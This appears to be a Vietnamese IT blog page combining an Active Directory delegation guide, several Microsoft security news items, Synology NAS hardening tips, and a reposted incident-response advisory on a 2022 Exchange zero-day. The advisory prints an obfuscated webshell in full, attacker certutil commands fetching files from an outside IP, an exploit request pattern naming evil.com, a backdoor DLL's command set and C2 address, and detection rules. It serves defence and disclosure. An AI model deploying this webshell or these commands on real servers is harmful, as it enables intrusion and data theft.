Cách ủy quyền quyền để cho phép người dùng tham gia máy tính vào miền AD-Join Domain

Ngữ cảnh

Câu chuyện quản trị system của Doanh nghiệp thường quy mô cở trung, vừa to,… Nếu doanh nghiệp chúng ta nhỏ thường ông quản trị mạng làm hết nghĩa là roles và vai trò system admin, network admin là 1 nói chung là all in one 🙂 đó là câu chuyện đương nhiên để tiết giảm chi phí cho Doanh nghiệp. Tuy nhiên đối với Doanh nghiệp lớn SMB to hệ thống vài 1000 user đến vài trăm ngàn user, thì IT helpdesk cần có và phân công nhiệm vụ rõ ràng. Ông System Admin quản trị Domain controller rồi có thể cho các bạn Helpdesk hoặc đơn vị nào đó ví dụ Outsoucing để có quyền tham gia hay join máy tính vào domain. Câu chuyện đặt ra chúng ta không thể một mình làm hết được nên chúng ta phải cho phép ủy quyền 1 số nhóm hoặc người dùng helpdesk làm công chuyện này. Dĩ nhiên loại trừ 1 số người dùng có số lần join domain là 10 lần.

Giải pháp

Hôm nay phương nguyễn chia sẽ đến các bạn một mẹo nhỏ trong quản trị hệ thống mạng Domain controller nhé để làm công đoạn này có 2 cách có thể làm:

  • Ủy quyền 1 nhóm người hoặc người nào đó có quyền sử dụng Active Directory Users and Computers mà cụ thể là join domain.
  • Tạo 1 chính sách GPO trên default domain group policy để cấp quyền

Các thực hiện ủy quyền trên ADUC

Để thực hiện delegation vào start-> gỏ lệnh dsa.ms run Active Directory Users & Computers

Tạo 1 nhóm để ủy quyền nhé ví dụ GroupITHelpdesk

Thêm các user cần ủy quyền join vào nhé ví dụ : jsisen, phuong

Muốn ủy quyền OU nào thì chọn OU đấy nhé hoặc có thể chọn cả domain 🙂 phải chuột chọn delegation

Chọn Nex->

Chọn -> Add group vừa tạo trên và chọn ok->next.

Chọn Delegation the following Common tasks-> Join a Computer to the domain

Hoặc chọn Create a custom task to delegate thì chọn Create computer object và Delete nhé.

Chọn Ok finish nhé.

Như vậy Phương Nguyễn chia sẽ cách ủy quyền 1 tài khoản hoặc nhóm có thể có quyền join domain. Chúng ta có thể bàn giao cho các anh em IT helpdesk đi làm mỗi 1 nhiệm vụ join thôi nhé.

Hehehe Nếu thấy hay hãy nhớ like và sharing cho các anh em IT và nếu có copy bài nhớ ghi source từ bài viết.

Phương Nguyễn Viết

CẢNH BÁO CHIẾN DỊCH TẤN CÔNG SỬ DỤNG LỖ HỔNG ZERO DAY TRÊN MICROSOFT EXCHANGE SERVER

Khoảng từ đầu tháng 08/2022, trong quá trình thực hiện giám sát an ninh mạng và xử lý sự cố, Trung tâm vận hành bảo mật GTSC SOC phát hiện một đơn vị trọng yếu bị tấn công an ninh mạng vào hệ thống ứng dụng Microsoft Exchange. Quá trình điều tra, đội ngũ chuyên gia BlueTeam xác định kẻ tấn công đã sử dụng một lỗ hổng bảo mật của Microsoft Exchange chưa từng được công bố – hay còn gọi là lỗ hổng 0-day. GTSC SOC Team ngay lập tức đưa ra phương án ngăn chặn tạm thời. Song song, các chuyên gia RedTeam cũng bắt tay ngay vào việc nghiên cứu, debug lại mã nguồn ứng dụng Mail Exchange để tìm ra mã khai thác (exploit). Với lỗ hổng bảo mật Exchange trước đây, đội ngũ RedTeam cũng đã từng phân tích ra exploit trước khi có exploit được public trên thế giới (1-day exploit) nên việc hiểu luồng, cơ chế xử lý của hệ thống Email Exchange đã giúp giảm thời gian cho quá trình research. Ngay sau khi nghiên cứu ra exploit, GTSC đã submit lên ZDI để làm việc với Microsoft nhằm nhanh chóng có bản vá.

Sau khi ZDI verify đã ghi nhận 2 bug liên quan đến exploit:

Tuy nhiên đến thời điểm hiện tại, GTSC ghi nhận thêm các đơn vị khác cũng đang gặp phải sự cố. Sau khi kiểm tra, GTSC xác nhận hệ thống bị tấn công qua lỗ hổng 0-day này. Để hỗ trợ cộng đồng ngăn chặn tạm thời trước khi có bản vá chính thức từ Microsoft, chúng tôi công bố bài viết này để cảnh báo tới các đơn vị có sử dụng hệ thống email Microsoft Exchange.

Thông tin lỗ hổng bảo mật 

                – Đội ngũ Blueteam trong quá trình giám sát phát hiện được các request exploit dựa trên log IIS có định dạng giống như lỗ hổng ProxyShell: autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com. Đồng thời kiểm tra các logs khác, nhận thấy kẻ tấn công thực hiện được các câu lệnh trên hệ thống. Kiểm tra version number trên máy chủ Exchange bị tấn công nhận thấy máy chủ đã cài đặt bản cập nhật mới nhất tại thời điểm đó nên không thể có trường hợp khai thác bởi lỗ hổng Proxyshell -> xác nhận máy chủ bị khai thác bởi lỗ hổng 0-day RCE mới. Các thông tin này được Blueteam cung cấp lại cho Redteam, từ đó đội ngũ Redteam của GTSC đã tiến hành nghiên cứu để trả lời cho các câu hỏi như tại sao các request lại giống với request của bug ProxyShell?, luồng RCE được thực hiện như thế nào? 

                – Kết quả nghiên cứu đã giúp GTSC Redteam thành công tìm ra cách sử dụng đường dẫn trên để truy cập tới 1 component ở backend và thực hiện RCE. Thông tin kỹ thuật chi tiết về lỗ hổng tại thời điểm này chúng tôi xin phép chưa công bố.

Các hành vi sau khai thác

Sau quá trình khai thác thành công lỗ hổng, chúng tôi ghi nhận các hành vi tấn công nhằm thu thập thông tin và tạo chỗ đứng trong hệ thống của nạn nhân. Nhóm tấn công cũng sử dụng các kỹ thuật khác nhau nhằm tạo backdoor trên hệ thống bị ảnh hưởng và thực hiện lateral movement sang các máy chủ khác trong hệ thống.

Webshell

Chúng tôi phát hiện các webshell được drop xuống các máy chủ exchange. Các webshell chúng tôi thu thập được hầu hết được obfuscated. Thông qua User-agent chúng tôi phát hiện attacker sử dụng Antsword (một opensource có tính năng hỗ trợ quản lý webshell).

<%@Page Language=”Jscript”%>

<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘NTcyM’+’jk3O3’+’ZhciB’+’zYWZl’+”+’P’+’S’+char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘MQ==’))+char(51450/525)+”+”+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘Wg==’))+’m’+”+’UiO2V’+’2YWwo’+’UmVxd’+’WVzdC’+’5JdGV’+’tWydF’+’WjBXS’+’WFtRG’+’Z6bU8’+’xajhk’+’J10sI’+’HNhZm’+’UpOzE’+’3MTY4’+’OTE7’+”)));%>

Chúng tôi nghi ngờ các hành vi khai thác này xuất phát từ các nhóm tấn công Trung Quốc, dựa trên codepage trong webshell là 936, một bảng mã ký tự Microsoft cho tiếng Trung giản thể (simplified Chinese).

Một đặc điểm đáng chú ý khác, bên cạnh việc drop các webshell mới hacker cũng thực hiện thay đổi nội dung trong file RedirSuiteServiceProxy.aspx thành nội dung webshell. RedirSuiteServiceProxy.aspx là một tên file hợp pháp sẵn có trong máy chủ Exchange

FileNamePath
RedirSuiteServiceProxy.aspxC:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Xml.ashxC:\inetpub\wwwroot\aspnet_client
pxh4HG1v.ashxC:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

Trong quá trình xử lý sự cố tại một khách hàng khác, GTSC ghi nhận nhóm tấn công có sử dụng một mẫu webshell khác

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref: https://github.com/antonioCoco/SharPyShell

Command Execution

Bên cạnh các hành vi thu thập thông tin trên hệ thống, attacker thực hiện tải file và kiểm tra kết nối thông qua certutil có sẵn trên môi trường Windows

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]

“cmd” /c cd /d “c:\\PerfLogs”&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E]

Ở cuối của mỗi câu lệnh mà kẻ tấn công thực hiện đều có chuỗi echo [S]&cd&echo [E], một trong những dấu hiệu nhận biết của China Chopper.

Ngoài ra, hacker cũng thực hiện inject DLL độc hại vào bộ nhớ, drop các file nghi ngờ lên các máy chủ bị tấn công, và thực thi các file này thông qua WMIC.

Suspicious File

Trên các máy chủ, chúng tôi phát hiện các file nghi ngờ có định dạng exe và dll

FileNamePath
DrSDKCaller.exeC:\root\DrSDKCaller.exe
all.exeC:\Users\Public\all.exe
dump.dllC:\Users\Public\dump.dll
ad.exeC:\Users\Public\ad.exe
gpg-error.exeC:\PerfLogs\gpg-error.exe
cm.exeC:\PerfLogs\cm.exe
msado32.tlbC:\Program Files\Common Files\system\ado\msado32.tlb

Trong số các file nghi ngờ trên, dựa vào các câu lệnh được thực hiện trên máy chủ, chúng tôi nhận định các file all.exe, dump.dll có nhiệm vụ trích xuất thông tin tài khoản trên hệ thống máy chủ. Sau các hành vi trích xuất thông tin tài khoản trên hệ thống, attacker sử dụng rar.exe để nén các file dump và copy ra webroot của máy chủ Exchange. Trong quá trình xử lý sự cố, các file trên đã không còn tồn tại trên hệ thống.

File cm.exe được drop xuống thư mục C:\PerfLogs\ là file cmd.exe

Malware Analysis

Thông tin DLL

File name: Dll.dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

Phân tích DLL

GTSC phân tích một mẫu cụ thể (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) để mô tả hành vi của mã độc, các mẫu DLL khác có nhiệm vụ và hành vi giống nhau, chỉ khác nhau về cấu hình listener

DLL gồm 2 hai class: Run và m. Bên trong mỗi class gọi tới các method thực hiện các nhiệm vụ khác nhau. Cụ thể:

Class Run thực hiện tạo listener lắng nghe các kết nối tới port 443, đường dẫn https://*:443/ews/web/webconfig/.

Sau quá trình lắng nghe, mã độc tạo thread mới goi tới r. Method r thực hiện:

–              Kiểm tra request nhận được có data trong body hay không. Nếu không có data đi kèm trong request gửi lên máy chủ, kết quả trả về là 404.

–              Ngược lại, nếu trong request có đi kèm data, DLL tiếp tục xử lý luồng bên trong nhánh IF:

Kiểm tra request nhận được có tồn tại “RPDbgEsJF9o8S=” hay không. Nếu có, gọi tới method i nằm trong class m để xử lý request nhận được. Kết quả trả về từ Run.m.i sẽ được covert sang chuỗi base64. Kết quả trả về cho client theo format

{

                “result”:1,

                “message”:”base64(aes(result))”

}

Class m

Method thực hiện:

–         Giải mã request nhận được bằng thuật toán AES với 16 bytes đầu tiên của request là giá trị IV, 16 bytes tiếp theo là giá trị key, các giá trị sau đó là data

–         Sau khi giải mã, lấy phần tử đầu tiên trong mảng làm flag để xử lý các case đã được định nghĩa

 Case 0: Gọi tới method info. Method này có nhiệm vụ thu thập thông tin hệ thống. Các thông tin bao như kiến trúc hệ điều hành, phiên bản framework, phiên bản hệ điều hành, v.v….GTSC mô phỏng lại case 0 bằng hình ảnh bên dưới. Request gửi lên theo format 16 bytes đầu là giá trị IV, 16 bytes tiếp theo là giá trị key, theo sau là flag để chỉ định option và phần còn lại là data.

base64 (IV | key | aes(flag|data))

Case 1: Gọi tới method sc. Method này có nhiệm vụ cấp phát vùng nhớ để thực thi shellcode

 Case 2: Gọi tới 2 method p và r. Method p xử lý các dữ liệu được ngăn cách bởi ký tự “|” lưu vào mảng array3. Mảng array3 sẽ lấy 2 phần tử đầu tiên làm tham số cho method r, method r có nhiệm vụ thực thi command

 Case 3: Gọi tới method ld. Method này có nhiệm vụ liệt kê thông tin thư mục và file theo format

D|-|<Ngày tạo> |<Ngày chỉnh sửa> |<tên thư mục hoặc tên file>

o   Case 4: Gọi tới method wf. Method này có nhiệm vụ ghi file

o   Case 5: Gọi tới method rf. Method này có nhiệm vụ đọc file

 Case 6: Tạo thư mục

o   Case 7: Xóa file hoặc thư mục

o   Case 8: Di chuyển File

o   Case 9: Set time cho file 

o   Case 10: Nạp và thực thi C# bytecode nhận từ request.

Các mẫu DLL khác có nhiệm vụ tương tự, chỉ khác nhau về cấu hình listener như sau:

                Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

                Victim 2:

                                     http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

Chúng tôi cũng phát hiện DLL được inject vào memory của tiến trình svchost.exe. DLL thực hiện kết nối gửi nhận dữ liệu tới địa chỉ 137[.]184[.]67[.]33 được config trong binary. Việc gửi nhận dữ liệu với C2 sử dụng thuật toán RC4, khóa sẽ được tạo trong thời gian chạy (runtime).

Các biện pháp ngăn chặn tạm thời

Quá trình xử lý sự cố trực tiếp của GTSC ghi nhận có trên 1 đơn vị tổ chức bị là nạn nhân của chiến dịch tấn công khai thác lỗ hổng zero day. Ngoài ra chúng tôi cũng lo ngại rằng có thể có nhiều tổ chức khác cũng đã bị khai thác nhưng chưa được phát hiện. Trong thời gian chờ đợi bản vá chính thức từ hãng, GTSC cung cấp biện pháp khắc phục tạm thời nhằm giảm thiểu việc tấn công khai thác lổ hổng bằng cách bổ sung rule chặn các request có dấu hiệu tấn công thông qua module URL Rewrite rule trên máy chủ IIS (Webserver)

– Trong Autodiscover tại FrontEnd chọn tab URL Rewrite chọn Request Blocking

– Add thêm chuỗi “.*autodiscover\.json.*\@.*Powershell.*“ vào Pattern (URL Path):   

– Condition input: lựa chọn {REQUEST_URI}

Phát hiện tấn công

Nhằm kiểm tra hệ thống đã bị tấn công bởi lổ hỗng này, các đơn vị/tổ chức có thể thực hiện theo các cách thức sau:

Cách 1: Sử dụng powershell với câu lệnh sau: (Sử dụng powershell để thực hiện search trên toàn bộ folder log IIS mất khá nhiều thời gian)

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200

Cấu hình mặc định IIS log nằm tại đường dẫn “%SystemDrive%\inetpub\logs\LogFiles”

Cách 2: Sử dụng công cụ do GTSC phát triển dựa trên dấu hiệu khai thác lỗ hổng, thời gian thực hiện search nhanh hơn so với việc sử dụng powershell. Đường dẫn tải về công cụ: https://github.com/ncsgroupvn/NCSE0Scanner

Cách 3: Sử dụng công cụ của MS luôn nhé Exchange On-premises Mitigation Tool v2 (EOMTv2) link download tại đây

Indicators of Compromise (IOCs)

Webshell:

File Name: pxh4HG1v.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: Xml.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\inetpub\wwwroot\aspnet_client\Xml.ashx

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx

DLL

File name: Dll.dll

SHA256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

File name: 180000000.dll (Dump từ tiến trình Svchost.exe)

SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e

IP

125[.]212[.]220[.]48

5[.]180[.]61[.]17

47[.]242[.]39[.]92

61[.]244[.]94[.]85

86[.]48[.]6[.]69

86[.]48[.]12[.]64

94[.]140[.]8[.]48

94[.]140[.]8[.]113

103[.]9[.]76[.]208

103[.]9[.]76[.]211

104[.]244[.]79[.]6

112[.]118[.]48[.]186

122[.]155[.]174[.]188

125[.]212[.]241[.]134

185[.]220[.]101[.]182

194[.]150[.]167[.]88

212[.]119[.]34[.]11

URL:

hxxp://206[.]188[.]196[.]77:8080/themes.aspx

C2:

137[.]184[.]67[.]33

Mitre ATT&CK Mapping

TaticIDName
Resource DevelopmentT1586.002Compromise Accounts: Email Accounts
ExecutionT1059.003Command and Scripting Interpreter: Windows Command Shell
ExecutionT1047Windows Management Instrumentation
PersistenceT1505.003Server Software Component: Web Shell
Defense EvasionT1070.004Indicator Removal on Host: File Deletion
Defense EvasionT1036.005Masquerading: Match Legitimate Name or Location
Defense EvasionT1620Reflective Code Loading
Credential AccessT1003.001OS Credential Dumping: LSASS Memory
DiscoveryT1087Account Discovery
DiscoveryT1083File and Directory Discovery
DiscoveryT1057Process Discovery
DiscoveryT1049System Network Connections Discovery
Lateral MovementT1570Lateral Tool Transfer
CollectionT1560.001Archive Collected Data: Archive via Utility

28/09/2022 

GTSC SECURITY TEAM

Link: https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html

Microsoft vá 63 lỗ hổng bảo mật Windows

Trong bản cập nhật Patch Tuesday tháng 9, Microsoft phát hành bản vá cho tổng cộng 63 lỗ hổng trên Windows.

Theo Microsoft, 5 trong số 63 lỗ hổng được xếp loại “nghiêm trọng” do kẻ xấu có thể lợi dụng để thực thi mã từ xa. Đây là một trong những loại lỗ hổng nguy hiểm nhất. Patch Tuesday tháng 9 vá 2 lỗ hổng zero-day đã được công bố, trong đó có 1 lỗ hổng đang được khai thác trong thực tế.

Microsoft phân loại một lỗ hổng là zero-day nếu nó đã được công bố hoặc được khai thác mà chưa có bản vá. Lỗ hổng zero-day được vá hôm nay là “CVE-2022-37969”. Nếu khai thác thành công, thủ phạm có thể chiếm được các đặc quyền hệ thống. Nó được các nhà nghiên cứu tại DBAPPSecurity, Mandiant, CrowdStrike và Zscaler phát hiện. Theo Dhanesh Kizhakkinan – Kỹ sư lỗ hổng cấp cao của Mandiant, dường như lỗ hổng nằm riêng lẻ và không thuộc một chuỗi.

“CVE-2022-37969” ảnh hưởng đến các phiên bản Windows từ 7 đến 11, cũng như Windows Servers 2008 và 2012. Chuyên gia bảo mật Mike Walters của Action1 cho biết, do lỗ hổng có độ phức tạp thấp và không cần tương tác của người dùng, nó có thể sớm bị giới hacker khai thác.

Theo Microsoft, lỗ hổng yêu cầu kẻ tấn công phải xâm nhập được vào thiết bị bị xâm phạm hoặc có khả năng khởi chạy mã trên hệ thống mục tiêu. Dustin Childs, Giám đốc tình báo nguy cơ tại Zero Day Initiative, chia sẻ thêm, các loại lỗ hổng này thường được sử dụng trong các hình thức tấn công social engineering như thuyết phục ai đó mở một tập tin hay bấm vào liên kết. Sau khi nạn nhân làm theo, mã bổ sung sẽ dùng đặc quyền leo thang để chiếm đoạt hệ thống.

Người dùng được khuyến nghị nên cập nhật bảo mật ngay khi có thể. Windows 7 cũng được nhận bản vá bảo mật dù đã bị hết hạn hỗ trợ vào năm 2020.

Nguồn  (Theo Bleeping Computer, Forbes)

Bản cập nhật Windows KB5012170 gây ra màn hình khôi phục BitLocker, sự cố khởi động

Người dùng Windows đã cài đặt bản cập nhật bảo mật KB5012170 mới cho Khởi động an toàn đã gặp phải nhiều vấn đề khác nhau, từ lỗi khởi động với lời nhắc Khôi phục BitLocker đến các vấn đề về hiệu suất.

Bộ nạp khởi động UEFI tải ngay sau khi thiết bị được khởi động và chịu trách nhiệm khởi chạy môi trường UEFI với tính năng Khởi động an toàn để chỉ cho phép mã tin cậy được thực thi khi bắt đầu quá trình khởi động Windows.

Trong bản vá thứ ba tháng 8 năm 2022, Microsoft đã phát hành KB5012170 ‘Bản cập nhật bảo mật cho Secure Boot DBX’ độc lập để giải quyết các lỗ hổng được tìm thấy trong các bộ nạp khởi động UEFI khác nhau mà các tác nhân đe dọa có thể sử dụng để bỏ qua tính năng Khởi động Bảo mật của Windows và thực thi mã chưa được ký.

Microsoft: Máy chủ Exchange bị tấn công để triển khai ransomware BlackCat

Máy chủ Microsoft Exchange đang là mục tiêu của những kẻ phát tán phần mềm BlackCat Ransomware và có thông tin cho thấy tin tặc đang khai thác các lỗ hổng chưa được vá trên hệ thống để tạo ra phần mềm độc hại mã hóa tệp nói trên.

Người ta đã quan sát thấy rằng trong hơn hai trường hợp, tin tặc có thể đánh cắp thông tin đăng nhập và thông tin chuyển tiếp đến các máy chủ từ xa, để sử dụng dữ liệu đó cho việc tống tiền kép.

Tin tặc đầu tiên tấn công máy chủ nạn nhân trên một ghi chú ban đầu và sau đó được nhìn thấy đang triển khai các tải trọng BlackCat Ransomware trên toàn mạng thông qua PsExec.

Quy trình tấn công như sau:

Microsoft đã lưu ý về tình hình và nghi ngờ rằng các vụ tấn công đang được thực hiện bởi một băng nhóm có liên quan đến ransomware như một hoạt động dịch vụ và đang yêu cầu tất cả các máy chủ trao đổi của họ tuân theo một lời khuyên được đưa ra vào ngày 14 tháng 3 để giảm thiểu các cuộc tấn công ProxyLogon.

Một trong số chúng, một nhóm tội phạm mạng có động cơ tài chính được theo dõi là FIN12, được biết đến với việc triển khai Ryuk, Conti và Hive ransomware trước đây trong các cuộc tấn công chủ yếu nhắm vào các tổ chức chăm sóc sức khỏe.

Công ty công nghệ này đang kêu gọi các tổ chức sử dụng một giải pháp toàn diện như Microsoft 365 Defender của riêng mình để bảo vệ các rủi ro liên quan đến các cuộc tấn công và đã đưa ra lời khuyên chi tiết để hạn chế các vấn đề phát sinh từ các cuộc tấn công mạng.

LƯU Ý- Các phiên bản Ransomware của BlackCat đang hoạt động trên cả phiên bản Windows và Linux và trong môi trường của VMware ESXi. Kể từ năm 2021, phần mềm độc hại mã hóa tệp tin còn được gọi là ransomware ALPHV đã được nhìn thấy yêu cầu 5 triệu đô la từ các nạn nhân của nó.

Phương Nguyễn dịch

Nguồn https://www.cybersecurity-insiders.com/blackcat-ransomware-is-being-induced-into-microsoft-exchange-servers

Zero-day vulnerabilities on Windows Server 2016

Zero-day vulnerabilities on Windows Server 2016 CVE-2022-26925

Thông tin bảo mật 10/05/2022 CVE-2022-26925
CVE-2022-26925 – Lỗ hổng giả mạo Windows LSA (Windows LSA Spoofing Vulnerability) là một lỗ hổng nghiêm trọng vì nó đang bị các tác nhân đe dọa khai thác. Nó có điểm CVSS là 8,1. Mức độ phức tạp của cuộc tấn công là Cao vì lỗ hổng đã được xếp hạng với mức độ phức tạp AC: H. Cùng với các cuộc tấn công chuyển tiếp NTLM trên các dịch vụ chứng chỉ Active Directory (AD CS), lỗ hổng giả mạo LSA có nguy cơ tương đương với lỗ hổng nghiêm trọng CVSS 9.8.

Cơ chế: Kẻ tấn công chưa được xác thực có thể gọi một phương thức trên giao diện LSARPC và ép buộc Domain controller xác thực với kẻ tấn công bằng NTLM. Bản cập nhật bảo mật này phát hiện các nỗ lực kết nối ẩn danh trong LSARPC và không cho phép chúng

Hệ quả là các tài khoản người dùng trong hệ thống domain controller bị giả mạo logon vào Domain controller mà không đúng password, gây ra tình trạng chứng thực sai và bị block tài khoản không thể đăng nhập vào email hoặc logon máy tính.

CVE-2022-26925 được biết đến là 1 phần của lỗ hỏng PetitPotam trên Windows Server và Domain Controller

Cập nhật các bản vá Windows Server
KB5013952=> Windows Server 2016
KB5013941=> Windows Server 2019
KB5013944=> Windows Server 2022

Phương Nguyễn Dịch

Một số cách bảo mật NAS Sysnology 7.0-7.1 trở lên

Bài viết này Phương Nguyễn hướng dẫn các bạn system admin cấu hình bảo mật cho các thiết bị NAS Sysnology phiên bản 7.0 trở lên nhé. Vì những ưu việc tính năng vượt trội của DSM 7.0-7.1 về bảo mật hệ thống cho NAS chống các rủi ro bảo mật hệ thống NAS mà Sysnology mang lại. Bạn nào chưa update thì update ngay nhé. Xem bài viết hướng dẫn update tại đây.

Bảo mật chung-General

Vào control panel-> Chọn security-> General.

  • Hẹn giờ đăng xuất (phút): Người dùng sẽ tự động đăng xuất khỏi DSM nếu họ không hoạt động trong khoảng thời gian được chỉ định tại đây. Nhập bất kỳ giá trị nào từ 1 đến 65535.
  • Tăng cường khả năng tương thích của trình duyệt bằng cách bỏ qua kiểm tra IP: Nếu bạn truy cập NAS Synology thông qua proxy HTTP và gặp phải các lần đăng xuất ngẫu nhiên, bạn có thể bật tùy chọn này để bỏ qua kiểm tra IP.
  • Cải thiện khả năng bảo vệ chống lại các cuộc tấn công giả mạo yêu cầu trên nhiều trang web: Tùy chọn này tăng cường khả năng bảo vệ của hệ thống chống lại các cuộc tấn công tạo kịch bản trên nhiều trang web. Tùy chọn này sẽ có hiệu lực vào lần tiếp theo bạn đăng nhập vào DSM.
  • Cải thiện bảo mật với tiêu đề Chính sách bảo mật nội dung HTTP (CSP): Tùy chọn này tăng cường bảo mật của hệ thống chống lại các cuộc tấn công tập lệnh xuyên trang (XSS) bằng cách chỉ cho phép dữ liệu từ các nguồn đáng tin cậy và hạn chế thực thi tập lệnh nội tuyến.
  • Không cho phép nhúng DSM với iFrame: Bạn có thể bật tùy chọn này để hạn chế các trang web khác nhúng DSM vào các trang web khác với iFrame, do đó ngăn chặn một số kiểu tấn công từ các trang web độc hại. Để cho phép các trang web cụ thể nhúng DSM với iFrame, hãy nhấp vào Trang web được phép, thêm trang web, đi tới Bảng điều khiển> Cổng đăng nhập> DSM> Miền, thiết lập miền tùy chỉnh và đánh dấu vào Bật HSTS buộc trình duyệt sử dụng kết nối bảo mật. Đảm bảo rằng NAS Synology của bạn có chứng chỉ hợp lệ.
  • Xóa tất cả các phiên đăng nhập của người dùng đã lưu khi khởi động lại hệ thống: Tùy chọn này ngăn các lỗi hệ thống không mong muốn xảy ra nếu người dùng vẫn đăng nhập và thực hiện các thao tác trên hệ thống trong khi hệ thống đang sẵn sàng. Với tùy chọn này được bật, tất cả người dùng sẽ cần đăng nhập lại sau khi hệ thống khởi động lại.
  • Hiển thị thông báo trên màn hình DSM khi IP hiện tại thay đổi: Khi IP của người dùng hiện đang kết nối thay đổi, hãy gửi thông báo trên màn hình cho người dùng đó.
  • Trust Proxy: có thể đưa vào danh sách list các IP tin tưởng proxy.

Tài khoản-Account

Cần phải đặt mật khẩu phức tạp và bật tính năng xác thực 2 bước 2FA kết hợp với approve sign khi đăng nhập vào quản trị DSM (OTP hoặc HSM)

Tường lửa-Firewall

Cần phải bật tường lửa và cấu hình chính sách truy cập và cho phép dịch vụ nào ip nào truy cập NAS có thể hiểu như 1 Acclist truy cập.

Bảo vệ -Protection

Định nghĩa thời gian truy cập và khóa theo IP có thể cho phép đưa blocklist IP network ip cũng như allow network nào.

Và bật DDOS Protection.

Nâng cao- Advances

Một số thiết lập bảo mật nâng cao khác.

Phương Nguyễn biên soạn